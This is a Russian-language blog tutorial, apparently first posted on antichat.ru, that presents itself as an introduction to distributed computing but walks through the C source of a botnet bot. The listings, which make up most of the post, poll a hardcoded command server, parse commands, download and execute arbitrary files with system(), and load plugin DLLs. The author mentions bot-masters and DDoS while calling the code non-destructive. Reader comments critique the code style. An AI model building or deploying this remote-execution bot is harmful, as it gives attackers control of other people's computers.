Home Research Кухня распределенных вычислений.

Кухня распределенных вычислений.

by Denis Makrushin
1.9K views

Данный материал рассматривает процесс создания программного обеспечения, реализующего распределенные вычисления. Будучи рассчитанным на невысокий уровень подготовки читателя, он не претендует на открытие чего-либо нового. Автор попытался поэтапно описать процесс создания программы с наиболее детальными комментариями к коду и объяснить значение каждой команды в листингах. Гуру программирования получат отличную площадку для критики и возможность предложить свои идеи, касающиеся оптимизации кода.

О виновнике торжества.

Точнее – о виновниках. Распределенные вычисления – способ решения трудоёмких вычислительных задач с использованием двух или более компьютеров, объединённых в сеть. В свою очередь, эта сеть компьютеров называется ботнетом (более подробную информацию можно получить, перейдя по ссылке в конце статьи).

В настоящее время под «ботнетом» в большинстве случаев понимается сеть компьютеров, зараженных вредоносным программным обеспечением – ботом. Однако, принцип любого ботнета – это прежде всего какие-либо распределенные действия, поэтому автор материала предлагает читателям абстрагироваться от понятия «ботнет» и приступить к разработке необходимого для организации распределенных вычислений ПО.

Шаг первый.

С первого шага начинается путешествие в тысячу ли (Лао-Цзы).

Нашим отправным пунктом станет проектирование программы (чтобы не повторяться, назовем ее «ботом»).

Бот должен уметь:

  • получать команду от сервера;
  • обрабатывать команду, т. е. классифицировать ее на «известную» или «неизвестную» и соответствующим образом обрабатывать ее параметры;
  • выполнять команду.

За кажущейся примитивностью наших требований скрывается много подводных камней. Например, как бот будет узнавать о новых командах? Для этого появляется еще одно требование: программа должна поддерживать плагины. На плюсах плагинной технологии заострять внимание нет смысла, т. к. очевидно, что расширяемость программы и ее модернизация в нашем случае окажется полезной. Теперь перейдем к практической части, разбавленной теоретическими выкладками.

Шаг второй. Создаем соединение и получаем команды.

При написании программы использовалась среда программирования MS Visual Studio 2008. Чтобы не заниматься рутиной (имеется в виду работа с сокетами), воспользуемся стандартной библиотекой, которая присутствует в Windows: wininet.dll. Данная DLL представляет собой API для доступа к общим протоколам интернет, включая FTP, HTTP и Gopher. Это высокоуровневый API, позволяющий, в отличие от WinSock или TCP/IP, не заботиться о деталях реализации соответствующих интернет протоколов. Кстати, именно ее использует MS Internet Explorer.

Если с инструментами все понятно, то детали, касающиеся алгоритма работы программы, требуют пояснения. Пусть команды, предназначенные боту, находятся на сервере в файле command.txt. Тогда для получения команд бот должен периодически соединяться с сервером и скачивать указанный файл. Следующий листинг демонстрирует описанные действия:

//httpd.cpp
//Реализация скачивания файла

#include
#include

#pragma comment(lib,”wininet”)//подключаем библиотеку WinInet

void HTTPDownload(char *FileUrl, char *FileName)//передаются параметры: путь к файлу на сервере, имя файла для сохранения результата запроса
{
BYTE bBuffer[4096];
DWORD dCount=0;
HANDLE hOutputFile;
hOutputFile = CreateFile(//создание файла, в который сохраняются результаты запроса
FileName,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_NEW, FILE_FLAG_WRITE_THROUGH | FILE_FLAG_SEQUENTIAL_SCAN,
NULL);
HINTERNET hInternet = InternetOpen( //инициализация библиотеки WinInet.dll (получение дескриптора соединения)
“DLLDownloader”,//параметр, который определяет информацию в поле “User Agent”
INTERNET_OPEN_TYPE_PRECONFIG,//тип доступа (прямой или прокси); параметр по умолчанию (настройки из реестра)
NULL,
NULL,
0);
if(hInternet !=NULL)
{
HINTERNET hRequest = InternetOpenUrl(//создание и отправка запроса серверу (получение дескриптора сессии)
hInternet,//дескриптор соединения
FileUrl,//путь к скачиваемому файлу на сервере
0, 0, 0, 0);
if(hRequest != NULL)
{
do {
BOOL bSend = InternetReadFile(//чтение результата запроса
hRequest,//дескриптор сессии
bBuffer,//адрес буфера, содержащего скачиваемые данные
sizeof(bBuffer),//размер буфера
&dCount);//количество скачиваемых байт
WriteFile(hOutputFile, bBuffer, dCount, &dCount, 0);//запись результата запроса в файл
}
while (dCount == 4096);
}
InternetCloseHandle(hRequest);//закрытие запроса
}
InternetCloseHandle(hInternet);//закрытие соединения
CloseHandle(hOutputFile);//закрытие файла
}

Шаг третий. Обрабатываем командный файл и подключаем необходимые DLL.

Под обработкой командного файла автор подразумевает действие программы, в результате которого бот получает две строки: название команды и строка, содержащая параметры этой команды (перечисленные через символ пробела). Командный файл имеет следующую структуру команды:

<команда(1)> [параметр(1)] [параметр(2)] … [параметр(i)]
<команда(2)> [параметр(1)] [параметр(2)] … [параметр(j)]

<команда(k)> [параметр(1)] [параметр(2)] … [параметр(n)]

где i, j, k меняются в интервале (1; бесконечность).

Действия бота следующие:

  1. выделение k-ой строки;
  2. передача выделенной строки в функцию, которая реализует подключение библиотеки, необходимой для выполнения команды (в листинге – функция PlugLibrary);
  3. PlugLibrary сама разделяет строку на команду и параметры и выполняет необходимое действие, зависящие от типа команды.

Первые 2 пункта реализованы в следующей функции:

//parse.cpp
//Реализация обработчика (парсера) командных файлов

#include
#include “pluglib.h”//подключение заголовочного файла, содержащего прототип функции “PlugLibrary”

void Parse(char *FileName)//передача имени командного файла
{
DWORD dwCount=0;
char cCurrentSymbol;
int iCount=0;
char Command[256];//максимальный рамер строки в командном файле
HANDLE hFile=CreateFile(//открытие командного файла
FileName,
GENERIC_READ,//открытие в режиме чтения
FILE_SHARE_READ,//разрешение доступа к файлу для нескольких процессов
NULL,
OPEN_EXISTING,//открытие существующего файла
0, NULL);
//чтение содержимого командного файла
while (true)
{
ReadFile(//чтение данных
hFile,//дескриптор файла, полученный при открытии
&cCurrentSymbol,//адрес буфера для считываемого символа
1,//размер буфера для считываемого символа
&dwCount,//количество прочитанных байт
NULL);
if (dwCount==0) break;
if (cCurrentSymbol==’\n’)//обнаружение перехода на следующую строку
{
Command[iCount]=’\0′;//создание строки
PlugLibrary(Command);//передача строки для выполнения
iCount=0;
}
else
{
Command[iCount]=cCurrentSymbol;//добавление прочитанного символа к массиву символов
iCount++;
}
}
CloseHandle(hFile);//закрытие файла
}

Функция PlugLibrary отделяет команду от параметров. Далее, в зависимости от типа команды, функция выполняет одно из следующих действий:

  1. Удаление известной команды (фактически: удаление библиотеки, в которой реализована команда).
  2. Загрузка файла. Если файл является DLL, то подключение этой библиотеки; если является исполняемым файлом или т.п., то запуск этого файла.
  3. Если известная команда, то подключение ее библиотеки и запуск.

Код рассмотренной функции приведен ниже.

//pluglib.cpp
//Реализация выполнения команд

#include
#include “httpd.h”//подключение заголовочного файла, содержащего прототип функции “HTTPDownload”

void Delete(char *FileName)//функция-обработчик команды “delete”; передача имени удаляемой библиотеки (каманды)
{
WIN32_FIND_DATA wfd;//структура (буфер), получающая информацию о найденном файле
HANDLE hFind = FindFirstFile(FileName, &wfd);//функция поиска файла; возвращение дескриптора найденного файла в переменную hFind
if (INVALID_HANDLE_VALUE != hFind)//если файл обнаружен
{
CloseHandle(hFind);//закрытие дескриптора файла (в целях экономии системных ресурсов)
//подключение библиотеки
//если библиотека уже была подключена, функция “LoadLibrary” возвращает дескриптор уже подключенной библиотеки
HINSTANCE hPlugin;
hPlugin = LoadLibrary(FileName);//подключение библиотеки
//выгружение библиотеки
//использование функции “FreeLibrary” повторно необходимо для закрытия дескриптора, который был получен ренее в процессе выполнения программы
FreeLibrary(hPlugin);
FreeLibrary(hPlugin);
DeleteFile(FileName);//удаление библиотеки
}
}

int PlugLibrary(char *CommandLine)//функция-обработчик команд; передача строки, содержащей команду и ее параметры
{
char DllName[30], Parametrs[225];//массивы, содержащие имя команды и параметры к этой команде соответственно
HINSTANCE hPlugin;
int i=0, j=0;
//выделение команды (имени запускаемой библиотеки) из строки CommandLine
while (CommandLine[i]!=’ ‘)
{
DllName[i]=CommandLine[i];
i++;
}
DllName[i]=’\0′;//создание строки, содержащей имя команды
i++;
//если команда “load”
if ((DllName[0]==’l’)&&(DllName[1]==’o’)&&(DllName[2]==’a’)&&(DllName[3]==’d’)&&(DllName[4]==’\0′))
{
//выделение строки с параметрами
while (CommandLine[i]!=’\0′)
{
Parametrs[j]=CommandLine[i];
i++;
j++;
}
Parametrs[j-1]=’\0′;//создание строки, содержащей параметры
int k=0;//счетчик количества параметров
j=0;
i=0;
char cParametr[2][250];//параметры команды “load”
while (Parametrs[i]!=’\0′)//обработка параметров
{
//выделение i-го параметра
if (Parametrs[i]!=’ ‘)
{
cParametr[k][j]=Parametrs[i];
i++;
j++;
}
else
{
cParametr[k][j]=’\0′;//создание строки, содержащей k-й параметр
k++;
i++;
j=0;
}
}
cParametr[k][j]=’\0′;//создание строки, содержащей последний найденный параметр
//если последний параметр функции “load” не является библиотекой
if ((cParametr[1][j-1]!=’l’)&&(cParametr[1][j-2]!=’l’)&&(cParametr[1][j-3]!=’d’))
{
HTTPDownload(cParametr[0],cParametr[1]); //скачивание файла
system (cParametr[1]);//запуск файла
return 0;
}
else
{
HTTPDownload(cParametr[0],cParametr[1]);
return 0;
}
}
//если команда “delete”
if ((DllName[0]==’d’)&&(DllName[1]==’e’)&&(DllName[2]==’l’)&&(DllName[3]==’e’)&&(DllName[4]==’t’)&&(DllName[5]==’e’)&&(DllName[6]==’\0′))
{
while (CommandLine[i]!=’\0′)//выделение строки с параметром
{
Parametrs[j]=CommandLine[i];
i++;
j++;
}
Parametrs[j-1]=’\0′;
Delete(Parametrs);//вызов функции удаления файла (команды)
return 0;
}
//если передана произвольная команда
while (CommandLine[i]!=’\0′)
{
Parametrs[j]=CommandLine[i];
i++;
j++;
}
Parametrs[j-1]=’\0′;
hPlugin = LoadLibrary(DllName);//подключение библиотеки (получение дескриптора), обрабатывающей данную команду
typedef int (*DefType)(char *);//определение типа (DefType), который будет объявлять указатель на функцию, принимающую указатель на символьный буфер и выдающую значение типа int
DefType Load = (DefType) GetProcAddress(hPlugin,”Load”);//определение адреса функции “Load”, которую экспортирует библиотека
int iCode=(*Load)(Parametrs);//вызов функции “Load” и передача параметров этой функции
return 0;
}

Шаг четвертый. Главная функция.

//main.cpp
//Реализация основной функции

#pragma comment(linker,”/ENTRY:main”)//указание линкеру точки входа в программу (в целях уменьшения размера исполняемого файла)

#include
#include “httpd.h”//подключение заголовочного файла, содержащего прототип функции “HTTPDownload”
#include “parse.h”//подключение заголовочного файла, содержащего прототип функции “Parse”

void main()
{
do
{
HTTPDownload(“http://www.gate.ru/command.txt”,”command.txt”);
Parse (“command.txt”);
DeleteFile(“command.txt”);
}
while (true);
}

Комментарии говорят сами за себя. Стоит отметить, что функция периодически скачивает и проверяет командный файл.

Немного о DLL.

Стоит немного рассказать об интерфейсе подключения к программе библиотеки, содержащей реализацию команды.

Так как заранее неизвестно, сколько параметров потребуется той или иной команде (имеется ввиду в процессе разработки главного исполняемого файла), в каждой DLL происходит обработка строки с параметрами, т. е. осуществляется запись каждого параметра в массив, который, в свою очередь, DLL использует так как ей необходимо.
В проекте, прилагаемом к статье, в качестве примера подключаемой DLL содержится библиотека, которая выводит MessageBox с заданными параметрами окна.

Заключение.

В статье были рассмотрены некоторые аспекты создания программного обеспечения, которое является основой для организации сети распределенных вычислений (также известной как «ботнет»). Привередливый читатель скажет, что тут вообще ничего не распределялось. Однако любое действие, осуществляемое посредством ботнета, является в той или иной степени распределенным, даже не смотря на то, что трудоемкая задача не разделяется явно на порции микрозадач. Например, DDoS. Несмотря на приставку distributed, задача непосредственно не делится (в подавляющем большинстве атак) на порции.

Еще может возникнуть одно НО по поводу слова «вычисления». В статье ничего не вычислялось в прямом смысле, однако создавалась площадка для их организации (имеется ввиду плагинная технология). Ничто не мешает бот-мастеру написать библиотеку, вычисляющую, к примеру, MD5, и, зная интерфейс подключения плагинов, присоединить ее к ядру (более того, это уже прекрасно сделано и описано за меня – рекомендую обратиться к ссылкам). Помимо всего прочего, потребуется написать едва ли не превышающую по объему серверную часть, отвечающую за разделение задачи на порции и организующую раздачу этих порций ботом. 

В заключение, хотелось бы отметить, ПО, рассмотренное в статье, никоим образом не рассчитано на деструктивные действия. Более того, сферы применения исходных кодов ограничиваются лишь фантазией программиста.

Полезные ссылки.
_http://www.viruslist.com/ru/analysis?pubid=204007610 – подробная информация о ботнетах.
_https://forum.antichat.ru/thread49663.html – система распределенных вычислений BruteNet (автор: ZaCo).
_http://distributed.ru/wiki/what-is – распределенные вычисления и проекты, связанные с ними.

© c0n Difesa специально для antichat.ru

You may also like

3 comments

Anonymous July 17, 2010 - 12:04

Вообще, довольно интересная тема. Может разовьем?

Reply
anon August 30, 2010 - 05:31

Вообще, код довольно индусский.
if ((DllName[0]==’d’)&&(DllName[1]==’e’)&&(DllName[2]==’l’)&&(DllName[3]==’e’)&&(DllName[4]==’t’)&&(DllName[5]==’e’)&&(DllName[6]==’\0′)

1. Слышали про стандартную библиотеку? Есть, вообще, такая.
2. Вы не пробовали высылать исходники на конкурс obfuscated c-code?
Отсутствие пробелов и отступов там ценят.

В общем-то ничего особо нового и полезного. Но потенциал есть.
Хотелось бы увидеть что-то вроде проектирования плагинной архитектуры.
Для сходных целей. Не только какой-то конкретный пример.

Reply
c0n Difesa August 30, 2010 - 06:18

Вообще, код довольно индусский.

Раскрою Вам секрет: в то время, когда была написана статья, я занимался изучением как самого языка, так и конкретной идеи, которая отражается в статье. Именно поэтому в самом начале материала я отметил «Гуру программирования получат отличную площадку для критики и возможность предложить свои идеи, касающиеся оптимизации кода».

Спасибо за то, что внесли свой вклад в процесс «оптимизации» ;).

2. Вы не пробовали высылать исходники на конкурс obfuscated c-code? Отсутствие пробелов и отступов там ценят.

Пробовал. Сказали: «ничего особо нового и полезного. Но потенциал есть.» ;)

Особенности форматирования исходного кода (отсутствие отступов в данном случае) обусловлены причудами функционала плагина подсветки синтаксиса. Ну или, если Вас это устроит больше, кривизной моих рук при его использовании. Я стараюсь прикреплять исходные коды к каждой статье, чтобы читатель мог скачать их, ознакомиться с ними, насладиться форматированием и скомпилировать.

Еще раз благодарю за полезную критику.

Reply

Leave a Comment